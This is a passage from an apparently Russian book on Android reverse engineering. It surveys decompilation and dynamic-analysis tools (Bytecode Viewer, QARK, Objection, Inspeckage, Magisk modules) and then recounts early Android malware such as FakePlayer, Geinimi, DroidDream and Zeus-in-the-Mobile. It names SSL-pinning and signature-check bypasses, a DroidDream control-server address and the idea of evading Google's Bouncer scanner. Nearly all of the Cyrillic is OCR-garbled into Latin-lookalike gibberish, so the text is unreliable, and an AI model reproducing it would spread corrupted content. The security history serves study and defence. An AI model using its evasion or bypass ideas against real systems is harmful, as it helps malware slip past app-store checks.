CepBHC, co3laHHbIA B Beicuiei TexHuyeckoi wkone [ropuxa. C noMolusio HerdpoceTei
OH cnocobeH BOCCTaHOBHMTH (a TOuHee, MpeAcka3aTb) OPUTHHAIbHbIE MMEHa TaKeTOoB,
K1accoB, MeTo1oB M noneid. OgHa npobnema: Hepeako neo6¢ycLHpOBaHHBIA KO 3amy-
ThIBaeT ewle 6onbLue, yeM opuruHain (puc. 11.4).

«

[CRRA (D . apk-deguard.com

0 vava i
public final class BoseDrawerItem
B Languagesjava extends Log
0 RrFcas19stylejova ¢ . )
private ru.execbit.alolauncher.models.Coin c;
private final String e;

private final int enabled;

0 Configjava
0 Rjava
private final String level;
private Arrayl ist<CoinChartitem> v;
private final SimpleDateFormat w;

B ActivityFragmentLifecycle java
B Arrayiteratorjava

0l AppCompatRatingBarjava public BasebrawerItem(int paramint)

D Bufferedsinkjava

0 FastDateFormatjova

0 ForwardingSourcejava
n BII%MWIIJOH

B smsDatajava

0} JsonArrayjova

B Resourcejava

super (paramInt);
enabled =
level =

paramInt;
"gitcoin";

e = "pitcoin®;

v = new Arraytist();

w = new SimpleDoteformat(“MM.dd", Locale.us);

publfc void alboolean paramBoolean)

0 childNumbecjava b(paramBoolean);

i vectorjova

I ReadwritableDateTime java publice void b{boolean paramBoolean)
{
1f (iparamBoolean) (
return;

0 ListMenuitemViewjava

B TabLayoutjava

Puc. 11.4. NMpumep aeobgyckauum c nomowbio DeGuard

Bytecode Viewer

A 3710 pelueHHe Knacca «Bce B oqHom». Bytocode Viewer (https://bytecodeviewer.com/)
coyetaer B cebe ¢pyHkuun Jadx, Apktool u elle HeckonbkMX HHCTpyMeHTOB. OH yMeeT
au3acceMbIMpoBaTh MPHIOKEHHSA, TEKOMMHIMPOBATh UX C MOMOLLBIO MATH pa3H4HBIX
nswkkoB nekomnunsunn (JD-Core, Procyon, CFR, Fernflower, Krakatau), pacumngpo-
BbIBaTh CTPOKH C MOMOLIBIO TPEX ABHXXKOB IeLIM(PPOBaHUA, KOMITHIMPOBATh MPHIIONKE-
HHe 0OpaTHO M3 IEKOMITMJIMpOBaHHOrO koxaa (¢ nmomouusto Ranino Compiler) u naxe uc-
KaTb 37I0BpeHbIi Koa!

MHorue peBepcepbl peKOMEHAYIOT HCMOb30BaTh MMEHHO 3TOT HHCTPYMEHT IJIA aHaIH3a
npunoxeHuit. Ix apryMeHT cocTouT B TOM, 4TO Jto6O# apyrod neKoMnmUasTop (TOT ke
Jadx vnu nonynsapHbiit JD-Gui (http://jd.benow.ca/)) moxer cioMaTbes 06 06¢dycumpo-
BaHHBIA MM CrieLnanbHbIM 00pa3oM HamMcaHHbIH KOA M MPOCTO He mokaxeT ero. B To
e Bpems Bytecode Viewer 6naromaps Hannuuio cpasy NATH IBH)XKKOB JEKOMMHIALMH
uMeeT GoJiblLe LAHCOB JEKOMITHIMPOBaTh TaKOE MPHIIOKEHHE.
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QARK

3akoHYMM paccka3 o craThyeckoM aHanuse MHcTpymMeHToM QARK (https:/github.com/
linkedin/qark). 3To yTunuTa A1 aBTOMaTHYECKOrO MOKMCKA YA3BMMOCTEH B MPHIIOKEHH-
ax. octaTouHo HaTpaBuTh ee Ha HyxxHblii APK unu karanor ¢ ucxonHukamu, 1 QARK
npoBeleT aHaau3 MaHH(ecTa, AEKOMIHIMPYET, MPOAHANHU3UPYET HUCXOAHHUKH M Jaxe
nonpobyeT co3aaTh 3KCIUIOWT A/ B3JIOMa NMPHJIOKEHHUS C NMOMOLLBIO HaHAEHHBIX YA3BH-
MocTeil.

ITonb3oBatecss QARK oyeHb MpocTo — 3amnyckaeTe QarkMain.py, OTBEYaE€TE HA HECKOJIBKO
BOMPOCOB U nosy4aete otyet B popmare HTML B katanore quark/report (puc. 11.5).

QARK

Information

STATIC CODE ANALYSIS RESULT

SOURCE: Mome./]1m/Damwniaads ao_launcher- 1142 apk
TOTAL FILES: 454

JAVAFRES: 204

Restored 7 filefs) out of 10 corrispt friek)

|
\mm'ﬂts Wamings iInfarmational Debug

QARK Version 09

Puc. 11.5. OmyeT Qark

Kak u npyrue aBToMaTH3MpOBaHHbIE HHCTPYMEHTBI, Qark He MOXeT TOYHO MpeAcka3aTh
HaJM4YHe YS3BMMOCTH, OH JIMLIb BbICKA3bIBAaET 1PEONONOMNCeHUe O €€ CYLUECTBOBAHHU H
JlaeT peBepc-MHXEHepPY HaMek, B KaKylo CTOPOHY ClielyeT KOMNarTh.

OduHamuueckuia aHanus

CraTHueckuii aHau3 TNMPHJIOXXEHHUS HE BCEraa rno3BOJIAET PACKPbITh BCE l'lO}.'lpO6HOCTH €ro
noBeneHusa. Koa mMoxeT ObITh 3amu¢poaaH YNaKoOBLUHKOM, TNPHIOXKEHHE MOXET NOKa-
YUBATh CBOH KOMITOHEHTBI H3 HHTepHeTa, pacmud)ponbma"rb CTPOKH TOJIbKO BO BpEMA
HCMNOJIHEHHUA K O€J1aTh APYIrHe€ BELUH, KOTOPbIE HEJIb3d YBHUIETDH, YATAA KOL.

OG6HapyHTb TakHe BELIXM MOXCHO C MOMOLIBI JUHAMHYECKOro aHanu3a. To ecTb myTeM
3amycka MpHJIOXKEHUS Ha pealbHOM YCTPOHCTBE WJIM B 3MYJIATOPE U M3yYEHHs €ro rnose-
JEHHA C TMOMOLUBIO CMEeLHaTbHBIX HHCTpyMeHTOB. IMeHHO 3To mpoucxoaut B Google
Play, koraa pa3pabortumk 3anuBaeT HoBylO BepcHio mpuioxeHus. Cepeepbl Google 3a-
MyCKaloT €ro B BUPTYaJIbHOMH cpelie M, eclii NMPHIoKEHHE NeaeT KakHe-TO HerpaBoMep-
Hble AeHCTBHS, 3anpeLlaeT ero ny6inkaLmio.
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Objection

Frida — oueHb momynsapHeiii HHCTpyMeHT. Ha ero ocHoBe 65110 co31aHO MHOXKECTBO 6o-
nee BbicokoypoBHeBbIX yTHIHT. Objection (https://github.com/sensepost/objection) —
onHa u3 HuX. OHa no3BonseT BHeapuThes B npuioxeHue iOS win Android u npoBectn
aHanM3 ero MpUBATHOTO KaTanora, MamsATH, KJIaccoB, METOAOB, M3BJEYb COAEPHHMOE
6a3bl SQLite, 060itTH SSL-NMUHHHHT.

Objection yeM-To MOX0XX Ha coBpeMeHHbIH aHanor Drozer ¢ psgoM ¢yHKuMi, no3so-
JIAIOWIMX MEHATh MOBEINEHHE MPHUIOKEHUA W HCCIENOBaTh €ro MpHBaTHBIA KaTalor U
6a3bl naHHbIX (puc. 11.6).

[
rile
File
L

ry

Readable: Yes MWritable: Yes
ru.execbit.aiolal

Puc. 11.6. KoHconb Objection

Inspeckage

Inspeckage (http://repo.xposed.info/module/mobi.acpm.inspeckage) — elue oauH Bbl-
COKOYpPOBHEBbIH HHCTPYMEHT AHMHAMHYECKOro aHanu3a npunoxkeHHH. OH UMeeT orpom-
HOE KOJIH4YECTBO BO3MOXHOCTEH: MOMy4yeHHWe MH(POPMALMK O MOJTHOMOYHAX, aKTHBHO-
CTAX, KOHTEHT-NpOBaiifepax U cepBHcax, yMeeT mnepexBaThiBaTh obpawieHus k SQLite,
HTTP-cepBepam, daiinosoii cucreme, 6ydepy obMeHa, kpunrorpadudeckum GyHKLUAM,
3anmyckaTh akTHBHOCTH, nopawmodatecs k ContentProvider'aM M BBINOMHATBL cryuHT
MECTOMOJIOKEHHS.

Bce 310 MOXHO caenatb, ucnonb3ys ynoOHbiii BeO-uHTepderic (puc. 11.7). Ho nepen
3THM Ha cMapTdoHe Heo6XOOHWMO MONY4YHTh MpaBa root, a 3aTeM YcTaHOBMTb Xposed
Framework (kotopblii kak pa3 ¥ mno3BosseT Inspeckage BBIMONHATL MepexBaT ynpaB-
JIeHHA).
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AlO Launcher

Package iornation | Shared Preferences

Exported Activities
ruexechi aiolaurcher. MainActivty

riexechit cher:settings gs y
u.execbit aiolauncher AdditemActivity

Pachage: ru.execbit aikascher

UID: 10187 | Dabuggable: tnus
GiDs: 3000
Alow Backup: faise

Data dir: idala/user ¥ exechit.alol@mcher | Tise View

Sermizabor Cryplo Hash SQLie HTTP Fils System Misc. WabView

> St Acteny Requested Permissions

andsoid permission INTERNET

android permission ACCESS_FINE_LOCATION
android.permission. READ_CALL_LOG

PC + Hooks

android permission. READ_CONTACTS

android permission. READ_SMS

android permission. READ_PHONE_STATE
android permission. CALL_PHONE

android permission RECEIVE_SMS
android.permission.READ_CALENDAR

android permission ACCESS_NETWORK_STATE
androkd permission READ_EXTERNAL_STORAGE
android.permission WRITE_EXTERNAL_STORAGE
android permissioi. EXPAND_STATUS_BAR
android permission GET_ACCOUNTS

androd permssion USE_CREDENTIALS

andraid. USE_FINGE! T

-~ androxd.permission. SYSTEM_ALERT_WINDOW
andraid permssion. CAMERA

andrar germission FLASHLIGHT

android permission PACKAGE_USAGE_STATS

Non Exported Activities

fa.exechit,

suncher. y
com.rohitss ucel. UCEDwtaultActivity

cam google. androki gms common. api GoogleApiActivity
com.android biéngckent. utl Proxy BENGAZtivity

Exported Content Provider 8 Query Provider

Non Experted Content Provider

Puc. 11.7. MaBHbiA 3kpaH Inspeckage

Yro ewe moxer npuroautbca?

BoT HeckonbKO MOJIE3HBIX MHCTPYMEHTOB, KOTOpbI€ MOTYT NPHIOAMTbCA CMELHAIN3H-
pytoiiemycs Ha Android peBepc-HHXeHepy:

O Move Certificate (https://github.com/Magisk-Modules-Repo/movecert) — MoayJb
Magisk, no3sonstownii caenatsb 060k cepTHPHKAT CHCTEMHBIM;

O Disable Flag Secure (https:/forum.xda-developers.com/t/module-disable-flag-
secure-v5-0-by-mehedi-h-joy.4490475/) — monynb Magisk, oTkitovarowwmii 3aimry
Ha CHATHE CKPHHLIOTOB (FLAG SECURE).

O Smali Patcher (https:/forum.xda-developers.com/apps/magisk/module-smali-
patcher-0-7-t3680053) — Windows-npuiioxkeHHe A5 reHepaundy KaCTOMHBIX MOZIY-
nefi Magisk ¢ pa3nuyHOM (YHKUMOHANBHOCTBIO: OTK/IIOYEHHE 3aLUMTHI HAa CHATHE
CKPHHILUOTOB, NMOJIEJIKa MECTOMOJIOKEHHS, OTKJIFOYEHHE NMPOBEPKH LIMPOBBIX MOAMH-
cel MPHJIOXKEHHHA U T. 1.;

O ADB Manager (https://f-droid.org/en/packages/com.matoski.adbm/) — npunoxe-
HHe, no3possioee 3anyctutb ADB B pexxume Wi-Fi;

O ProxyDroid (https://play.google.com/store/apps/details?id=org.proxydroid) —
NO3BOJIAET BHIOPATh MPOKCH MHAWBHAYANBHO Ul KaXIOTO NMPHIIOKEHHS;

O Pidcat (https://github.com/JakeWharton/pidcat) — yTtunuta mns BeIGOPOYHOro
otobpaxxeHus JioroB logcat ¢ ynoOHbIM opMaTHpOBaHHEM.
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rMABA 12

Uctopua supyconucarenscrea
ana Android

[lepBrIii S3xCnepUMeHTaNIbHBIH 0Opasew nosiHoueHHoro TposiHa uis Android 611 npen-
crasiieH eue Jetom 2010 roga Ha koHdepeHunn DEFCON 18. C Tex nop npouuio Tpu-
HaauaTh JIET, U 3a 3TO BpeMs KoiudecTBo BHpycoB mis MobunpHOH OC ot Google
BBIPOCJIO B MHJUTHOHBI pa3, a cama Google ycnena npuaymMath A€CATKH pa3IH4HBIX METO-
JIOB MPOTHBOCTOSTHHUS Yrpo3aM.

Ho Hawew 3pbr,
unu Kak Hanucatb supyc 3a 15 muHyT

[lepBble MOMBITKH co31aTh BpedoHOCHBIH codT M Android M n0kazaTh HECOCTOATENb-
HOCTb TyrJIOBCKOH MOOHJIBHOH MiaTdoOpMbl € TOYKH 3peHHs 6€30MacHOCTH NpeanpHHH-
MajHch ¢ MOMeHTa nybsaHkaunH npensapurenbHbiXx Bepcuid Android SDK B 2007 rony.
Monoable cTyaeHTbl nMUcanu codT, KOTOPbIH MCMOJIB30Bal CTAHIAPTHYIO GYHKUHOHATb-
HOCTb cMapTdoHa i uteHus SMS, a «uccnenoBarenbckue» komanasl Bpone Blitz Force
Massada nemoHcTprpoBanu ax «30 BekTopoB aTak Ha Android», HarnsAHO Moka3sbiBas,
KaK MOXHO HMcnosnb3oBaTh craHaapTHele APl Android Bo BpeJOHOCHBIX LiENSX.

310 6bUTO BpEMS MIpyLIEK, KOTOPbIE HEJNb3s ObLTO Ha3BaTh HH HACTOSIUMM BPE€IOHOCHBIM
10, Hu Tem Gonee BUpycamH. TO TyT, TO TaM MOSABISJIMCH MpUJIOXeHHs Bpoae Mobile
Spy ot Retina-X Studios, no3BonsBIINE yAaNIE€HHO YHTAaTh TEKCTOBbIE COOOLLEHHS, HCTO-
PHIO 3BOHKOB, NMpocMaTpHBaTh GoTtorpaduu, BHIAEO, ONpeaeasTh KOOpAHHATHI cMapTdo-
Ha. Ewe ObuH nmonmynspHbl pa3iHvHble NOIJENbHbIE MPHIOKEHHS, TaKHe Kak oOHapy-
KeHHbIH B Mapkere B sHBape 2010 roga HeodHUHANBHBIA KIHEHT AJS pa3iHuHbIX OaH-
KOB, KOTOPbIH HH C Y€M HE COEIHHSAJICS, a MPOCTO YBOAMJI HOMepa KPEIWTHBIX KapT,
BBEJIEHHbIE CAMHM T10JIb30BaTENIEM.

Bonee-meHee Hactoswui TposH 6bu1 peanuzoBaH Toabko B 2010 roay. Ero aBrop —
CEeKbIOPHTH-KOMNaHus Trustwave, koTopas MpOJEMOHCTPHpOBAsla €ro Ha KoH$epeHUHH
DEFCON 18. BripoueM, AMepHKY OHH HE OTKpBIJIH: TPOSH ObUT BCEro JIMLIb CTaHIapT-
HbIM MOZIyJeM sapa LinuX, KOTOpbIi MepexBaThiBaj CHCTEMHBIE BBI3OBBI write (), read(),
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open () M close (), a TAKXKE CO3/1aBaJl PEBEPCHBHbIH LLUEIT MO 3BOHKY C ONpeJeIeHHOro Ho-
mepa. Bes ata pyHKUMOHANBHOCTE NO3BOJISIA MOAKIIOUMTECS K CMAapT(OHY YAaneHHO
CKpPBITHO MCMOJIb30BaTh €r0 BO3MOXXHOCTH B CBOMX LIEJIIX, B TOM YWCJIE YHTATh KOHH-
JEeHUHaIbHY0 HHPOPMALIHIO.

Jlns ycraHoBkM TposiHa TpeboBaics GH3MYECKHIH N0CTyn K YCTPOMCTBY, nmpaBa root W
cmaptdon HTC Legend (Moaysib ObLl COBMECTHM TOJBKO C €ro SApOM), MO3TOMY HH
0 KaKOM MpaKTHYECKOM NMPHUMEHEHHH peun He uuio. Proof of concept, koTopbiit qokazan
TOJILKO TO, 4TO AApo Linux U B cMapTdoHe ocTaercs sapom Linux.

HacTtoswmid TposH B «aukoi npupoae» (He Mapkere) Obll HalJeH TONbKO B aBrycre
2010 rona corpyanukoM Jlabopatopuun Kacnepckoro JlenucoM MacnenHukoBsiM. [1pas-
Ja, 3To Obl COBCEM HE TOT THM TPOSIHA, O KOTOPOM MPHHATO roBopHuTh B kpyrax IT-
CMEeLMaINUCTOB, a BCero Juiib SMS-TposiH, T. €., MO CyTH, OObIYHOE NMPHUIIOXKEHHE, KOTO-
poe uuter SMS Ha nnatHele HoMepa 6e3 Begoma nonb3opatens. [1o cyTu, urpylika, Ko-
TOPYIO XOpOLLUHWI MPOrpaMMHCT HanMIUET 3a Mojiyaca, HO OYEHb OMacHas, Monaav oHa
B cMapT(oH 00bIYHOrO MOJL30BATENS.

TposiH, nonyunBuinid uMs Trojan-SMS.AndroidOS .FakePlayer.a, npukuasiBancs Buaeo-
njeepoM Nnoj He3aMbic0BaThiM Ha3BaHHeM Movie Player u o6nanan ukoHko# cranaapr-
Horo npourpeiBatens u3 Windows. [punoxenue TpeboBano npaBa 1ocTyna K kapTe na-
MsaTH, oTripaBke SMS u nonyyeHHIo AaHHbIX O cMapTdoHe, 0 YeM cucTeMa coobluana
nepea ero ycraHoBkod. Ecinm 3To Bce He CMylLaso MoJb30BaTeNs M OH corjaiaics
C YCTaHOBKOMH, a MOTOM 3amycKasi NPHJIOXKEHHE, OHO NMOBUcaNo B (OHE M HauWHANIO OT-
npaBky SMS Ha HoMmepa 3353 u 3354, kaxcmas u2 kotopbix obxoaunack B 5$. Homepa
3TH, KCTaTH, 1eHCTBOBAJIM TOJIBKO Ha TeppuTOpHH Poccuu, Tak YToO HETPYAHO AoraaaThes
O HAaLIMOHAJIbHOH MPHHAUIEXKHOCTH aBTOpA.

B okTs6pe ObL1 0OHapyxeH apyrod Tun SMS-tposiHa. Ha 3ToT pas 3noBpea ucnonb3oBai
cMapTOH He Ui OMyCTOLUEHHUS KOLIEIbKa )KEPTBbI, a U1 KPaXKH ero koHGHAEHLHAb-
HbIX JaHHbIX. [locne ycTaHOBKHM M 3amycka TPOsiH yXOIuJ B ()OH W mepechlian Bce BXO-
aswmre SMS Ha apyroit Homep. B pesynbTaTe 3710yMbILLITIEHHUK MOT HE TOJIBKO 3aBJaJ€Th
pa3nuuyHOH KoH(HAEHUHaNIbHOH WHQOpMaLMeid nosb3oBarens, HO U OOOWTH CHCTEMbI
AByXx(akTopHOH ayTeHTH(HKALIMHK, KOTOpbIE 11 BXOAa TPeOYIOT He TOJNBKO JIOTHH M Na-
poJib, HO M OZIHOPA30BbIH KO, OTMPAaBIsEMbIH HA HOMEP MOOHIBHOrO TenedoHa.

HHuTepecHo, uTo HOMep TenedoHa 3N0YMbILLIEHHHKA He OblUT XKeCTKo BOWT B KOJ TpOsHa,
a KoH¢$urypupoBasics yaaneHHo. Utobbl ero H3MeHUTb, TpebOBaNOCh OTNPABUTbL HAa HO-
Mep xepTBbl 0coObIM 00pa3oM odopmieHHyo SMS, koTopas coaepixana Homep Tenedo-
Ha W naposb. [Taposib MOXHO 6bUTI0 U3MEHHTH C MOMOLLbBIO apyrod SMS, no ymonyaHuio
ucnosb3oBaiach koMOMHauus «red4lifex.

Geinimi u Bce-BCe-BCe

[lepBbIf Mo-HacTosLEMY MpodecCHOHANbHO HAaNMCaHHbIH W 06iafarolMid 3alUTOH OT
aHanuza BpenoHoc ans Android 6611 06Hapy»xeH Tonbko B aAekabpe 2010 roga koMnaHu-
eit Lookout. TposiH, monyuunBiumnii uMs Geinimi, kaueCTBEHHO OTJMYAJICA OT BCEro, UTO
ObL10 HaMKcaHo paHee, U obnanan cieayoWUMH YHUKATbHBIMH XapaKTePUCTHKAMH.
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O PacnpoctpaHeHHe B coctaBe jerutuMHoro [10. B orauude or Bcex ocTalbHBIX 3710-
BpEIOB, KOTOpPbI€ TOJIBKO MPHKHUABIBAIMCH HACTOSLIMMH NpOrpaMMaMH M HWrpami,
Geinimi Ha caMOM Jiesie BHEAPSJICS B peasibHO CYLUECTBYIOLLKE Urpbl. B pasHoe Bpems
TposiH ObLN HalileH B cocTaBe TaKHX NpuiokeHWi, kak Monkey Jump 2, President
Versus Aliens, City Defense and Baseball Superstars 2010, pa3bpocaHHbIX o MecT-
HbIM MapkeTam Kutas M pasnuuHbIM torrent-Tpekepam. yHKLHOHAIBHOCTb OPHIH-
HaJbHOTO MPHUJIOXKEHHUS MOJHOCTBIO COXpaHsIach, MO3TOMY MOJIb30OBaTENb JaXe He
J0raabIBajICs O 3apakeHWH cMapTdoHa.

O [BoiiHas 3amuta oT aHanu3a. Koa TposHa Obin nponyueH yepe3 o6dyckaTtop, 4To
3aTPYAHSJIO €ro aHallu3, a Bce KOMMYHHKALMH ¢ yaleHHBIM cepBepoM IH(poBaIUCh
(cripaBeUTHBOCTH pafil CTOMT CKa3aThb, YTO MCMOJIB30BaCs YiiepOHblii anroputm DES
¢ kmouoM 12345678).

O Bo03MOXHOCTb HMCMOJB30BaHUA IS opraHu3auud OotHera. B kome Geinimi 6bLio
HaiineHo Gonee 20 ynpaBislOLIMX KOMaHI, KOTOpble MO3BOJIAJIM BBIMNOJHATE TaKHe
orepaLMH, KaKk yCTAHOBKa W yJajieHHe MpWIOXKeHHH (npaeaa, Ha 3To TpeGoBanoch
pa3spelleHHe Moib30BaTeNs), NOMy4YeHHe CMHUCKA BCEX YCTaHOBJIEHHBIX MPOrpamM, 3a-
MyCK MPHJIOXKEHHH H T. .

B uenom Geinimi aeficTBoBan no cieayrouieMy anropurmy. [ocne 3anmycka 3apakeHHOro
NpHIOXKEHHUs co3aaBaics GOHOBBIH cepBHC, KOTOpPbIH coOHpan nepcoHalbHblE JaHHBIE:
koopauHatel yctpokctea, HoMepa IMEI u IMSI. 3areM ¢ uHTEpBaJioM B OOHY MHHYTY
OCYLUIECTBJISJIUCh MOMBITKH CBA3H C OAHWUM H3 NECATH YOAlEeHHBIX CEPBEPOB (WWW.
widifu.com, www.udaore.com, www.frijd.com u np.), kyaa nepenasanace Bcs cobpaH-
Has MHopMaLMs U coOHpanHch KOMaHAbI AJ1S yJaJ€HHOTO HCMIOIHEHHS.

Geinimi — poaoHayanbHUK NOMHOGYHKUHOHAIBHBIX TPossHOB i Android, u mocne ero
nepBoro oOHapy»eHHs Ha npoctopax MHTepHeTa cTany Bce yalle MosBASTHCH 3/I0BPEbl
C aHaJIOTMYHON WIH noxoxei ¢yHKUHOHaNBHOCTBIO. Bekope Oblna HaiineHa MoaudMka-
uus Geinimi noa HazBaHueM ADRD, tposH Android.Pjapps u MHOXecTBO apyrux. Bce
OHH pacrnpoCTPaHAJIUCh Yepe3 pa3/iHyHbIe CaHThl, torrent-Tpekepsbl, KUTalHCKHe HEOPHLIU-
a/lbHble Mara3uHbl, MO3TOMY 3alLMTHTBCS OT HHX MOXHO ObLIO, MPOCTO HE YCTaHaBIHBas
NPUIOXKEHHS U3 HEW3BECTHBIX UCTOYHHKOB. OIHAKO BCe H3MEHHIOCh, koraa Obln obHa-
pyxeH TposiH DroidDream, pacnpoctpaHsiBLuuiics B coctaBe 6osee yem SO npuioxeHHH,
onybnukoBaHHBIX B opuuuansHoM Android Market.

DroidDream
U Ha4yano 60pbbLl 3a YUCTOTY mapkeTa

B maprte 2011 roga none3oBatens Lompolo ony6nukosan Ha Reddit uHdopmauuio o6
obHapyxeHHH B Mapkere Android HECKONBKHX NECATKOB BPEJOHOCHBIX MPHIOKEHHIA,
ony6IHKOBaHHbIX pa3paboTuHkoM ¢ HUkoM Myournet. HecMoTps Ha 3aypsaHOCTb caMo-
ro TPosiHa, a TaloKe Y)K€ M3BECTHBbIH cnocolb ero pacnpocTpaHeHHs, OCHOBaHHBIH Ha
BHEIPEHHH KOJa B JIETHTUMHOE TNpPHWIOKEHHE, (aKT HaIWuMs ManBapH B oHLHATBHOM
mapkete Google, a Taikoke NPEaNnoNOXKEHHSs O TOM, YTO OHAa HCMOJIb3YET 3KCIUIOWT
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RageAgainsTheCage nns nonydeHus mpaB root Ha YCTpOHCTBE, OBICTPO MOJOTpPENd HH-
Tepec K HOBOCTH MOJIb30BaTeie U COTPYAHHKOB pPa3/IMYHBIX CEKbIOPUTH-KOMMaHHi. 3a
HECKOJIbKO JHeH HayaJbHbIH CIHCOK M3 ABYX JECATKOB MPUJIOKEHHH pacuidpuics 1o 56,
a cpead myONHMKOBaBLUIMX ero joaed (Wi GOToB, KTO 3HaeT) oOHapyxwunuch King-
mall2010 u we20090202.

Cam no cebe DroidDream no ¢yHKkUHOHaNBHOCTH ObUT 04eHb MoXxok Ha Geinimi, HO He
ABsacsa ero Baprauued. OH Taxke cobupan HHGopMaLHIO O cMapTdoOHe, OTNpaBIIAI ee
Ha ynaneHHslii cepsep (http://184.105.245.17:8080/GMServer/GMServlet) u nosnyyan
B OTBET ymnpasisioliye komanasl. Ilmoc ko BceMy oH coneprkan B cebe apyroe npHioxe-
HHe, CIIPATaHHOE B KaTaJlore assets/sqlite.db BHYTpH apk M ycTaHaBIMBaeMOE B CHCTEMY
Moa UMEHEM DownloadProvidersManager. apk.

B cyMMe 3apakeHHble NpHIoXKeHHs ycrnend yctaHoBuThb oT 50 000 no 200 000 none3oBa-
Tenel, noka koMaHaa 6ezonacHoctd Google He oTpearupoBana Ha coolleHHe U He yaa-
JIMa U3 MapKeTa BCE HalIEeHHbIE€ KOMUH 3J0BpeJa BMECTE C aKKayHTaMH BBIJIOXKHUBLINX
UX nonb3oBateneil. B nononHeHHe B MapkeTe Takxke MOsBHJIOCH MpuioxkeHHe Android
Market Security Tool, ¢ moMoLIBEI0 KOTOPOro MOJB30BaTENh MOT OYHCTUTH CMApT(OH OT
3apa3bl. Ho u 3nech He obouutock 6e3 koHy3a. BykBanbHO yepe3 aBa JHA MOCiE 3TOro
Symantec oOHapy»xuna Ha npoctopax MHTepHeTa 3apakeHHYIO BEPCHIO 3TOro MpHUJIO-
JKEHHUs, KoTopas coiepxkana B cebGe yxe Ipyrod TpOsH, Ha3BaHHBIH BIOC/IEACTBHH
Fake10086 3a BeibopouHyto 610kupoBky SMS-coobiienuii ¢ Homepa 10086.

®dakT npoHukHOBeHUs1 MasiBapd B Android Market (a mocne DroidDream B MapkeTe ObL10
oOHapy>XeHO ellle HecKOlbKO 3710BpenoB) 3actaBui Google ceppe3HO 3amymartbes Han
6€30MacHOCTBIO CBOEr0 PEMO3MTOPHUS MPHUIOKEHHH. A MOCKOIbKY BPYYHYIO OHH HHYEro
JenaTth He MPUBBIKIH, TO B Hayane 2012 roga BeIKkaTHIM cepBHC Bouncer, koTopslii npo-
BEpsJ NPHIOKEHH Ha 6e30MacHOCTh ¢ MOMOILBIO 3aMycKa B BUPTYallbHOH MalliHe. 3a-
naya Bouncer cocTosina B TOM, 4TOOBI MPOM3BOJMTH MHOTOKPATHBIHN 3aMyCK MPHIIOKEHH,
CHMYJIHpOBaTh paboTy Mojab30BaTeNs C HUM H aHAJIM3HPOBATh COCTOSIHHE CHCTEMBI 10 U
nocie paboTel ¢ 3To# MporpaMmoii. Ecii HUKakUX CTPaHHBIX U MOJO3PUTENBHBIX JEHCT-
BHIi npuioxeHue ceGe He MO3BOJIAIO, TO OHO MOMYYasao 3eleHbIH CBET, B MPOTHBHOM
ciydae myOnukauus 610KHpoBanach.

Ecnu Beputh Google, To cpady mocne 3amycka Bouncer koprnopalis cokpaTiia KOJH-
4YeCTBO BpeIOHOCOB B MapkeTe Ha 40% (kak OHH 3TO MOJACYHMTAIIH, OCTAETCs 3araako).
OnHako Mo3Hee BBISCHUIIOCHh, YTO HOBBIH MEXaHH3M MPOBEPKH MOXHO Jierko oOOMTH,
MPOCTO MpPOaHATW3HPOBAB HEKOTOPhIE XapaKTEPHCTHKH CHUCTEMBI, TaKHe Kak MpUHae-
xkawie BUpTyankam Google email-agpec Bragensua «cmaprdona», Bepcuto OC u T. 1.,
a 3aTeM co3[aTh NpPHIOKEHHE, KOTOpoe MpH WX oOHapykeHUH Oynet aeiicTBoBaTh abco-
JIFOTHO 3aKOHHO U Jie1aTh IPpsA3HyI0 paboTy TOJIbKO Ha HAacTosLIEeM cMapTdoHe.

Zeus-in-the-Mobile

B 2007 rony no koMmneloTe€paM MoJib30BaTeNeH Hayal cBoe MoGeI0HOCHOE LIECTBHE TPO-
aH Zeus. bnaronapsa W3oLIpeHHOMY AM3aifHY M MPOABHUHYTHIM TEXHHKaM MacKHPOBKH,
JeaBLIMM ero oOHapy>keHHe HEBEPOSTHO TPYAHOH 3afa4ye, OH CMOI' pacrpoCTpaHUThCS
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Ha MHJUTHOHBI YCTPOMCTB MO BCEMY MHMpPY M CO3JaTh OJMH M3 CaMbIX KpYNMHbIX 60THETOB
B uctopud. Tonbko B CLLIA 65110 3adukcHpoBaHo Gosiee Tpex ¢ MOJIOBUHOH MHJLTHOHOB
($aKTOB 3apaxKeHHS.

OcHoBHas 3amaya Zeus cOCTOs.1a B OpraHM3alMd aTakd Tuna Man-in-the-browser, T. e.
MCIMOJIb30BaHHEe TEXHUK KeHJIOITHHra W ¢opMrpab0OuHra uis mepexsaTa YacTHOM MOJIb-
30BaTeNbCKOM MHGOpMALIMM U ee OTNpaBKH Ha yAaleHHble cepBepbl. 3a BpeMs CBoOei
paboTbl Zeus CMOT yTalWTh COTHH ThICAY JIOTHHOB W MapoJiedl OT TaKUX CEpBHCOB, Kak
Facebook, Yahoo, HiS, Metroflog, Sonico, Netlog, U, koHeYHO ke, MHOXECTBa OHJIalH-
6aHKOB.

Pa3paboturk Zeus 6bICTPO OTpeardpoBas Ha NMOsABIIEHHE CUCTEM IBYX(AaKTOPHOH ayTeH-
tudukauuu U B 2010 rogy BeimycTun npuioxkeHus mis Symbian u Blackberry, 3amaua
KOTOpBIX cOCTOsNa B nepexBate SMS-coo6lueHni ¢ 0oqHOpa3oBbIMH KOAaMH aBTOpH3a-
UMM M MX Moclienylolled OTNpaBKOH Ha BCE Te ke yAaleHHble cepBepa. B cepenune
2012 rona aHaJIOrMYHOE NPHIIOXKEHHE NMOABHIIOCH M Ui Android.

Ilepsas Bepcus Zeus mis Android 6b1a npUMHTHBHA M mpeAcTaBisnaa coboii AKOOBI
CEKBbIOPHTH-NIPHIIOXKEHHE, KOTOpOE NMpPH 3anycke BHIBOAMT KOJ BEpUHKALMH U 3aKpbIBa-
etcsa. B pe3ynsrate B ¢poHe noBHCaeT cepBHCHBIN NMpoLiecc, KOTOpbIH 3aHUMaeTcs nepe-
xBaToM SMS-coobluenuii ¥ Ux oTnpaBkod Ha ynaneHHbli cepep (puc. 12.1). Ilocne-
nyrouue Bepcud Zeus s Android (puc. 12.2) o63aBenuch Takxke CHCTEMOH yIaneHHOro
ynpaBJieHus ¢ MoMoLIblo SMS ¢ onpeaeneHHOro HoMepa, OqJHaKO HUKaKHX NMPOABHHYThIX

D @ 9:04m Ml @ 10:54 au

‘Trusteer Rapport

Dev Tools

0000-0000-0000-000
Zertifikat

Installation erfolgreich
Ihr Aktivierungskode lautet

7725486193

Zertifikat

Puc. 12.1. Tak Beirnagen uitepcgenc Puc. 12.2. A TaKk Bbirnsgena eepcus,
nepeow obHapyxeHHoW Bepcun Zeus obHapyxeHHan cnycra 10 mecAues
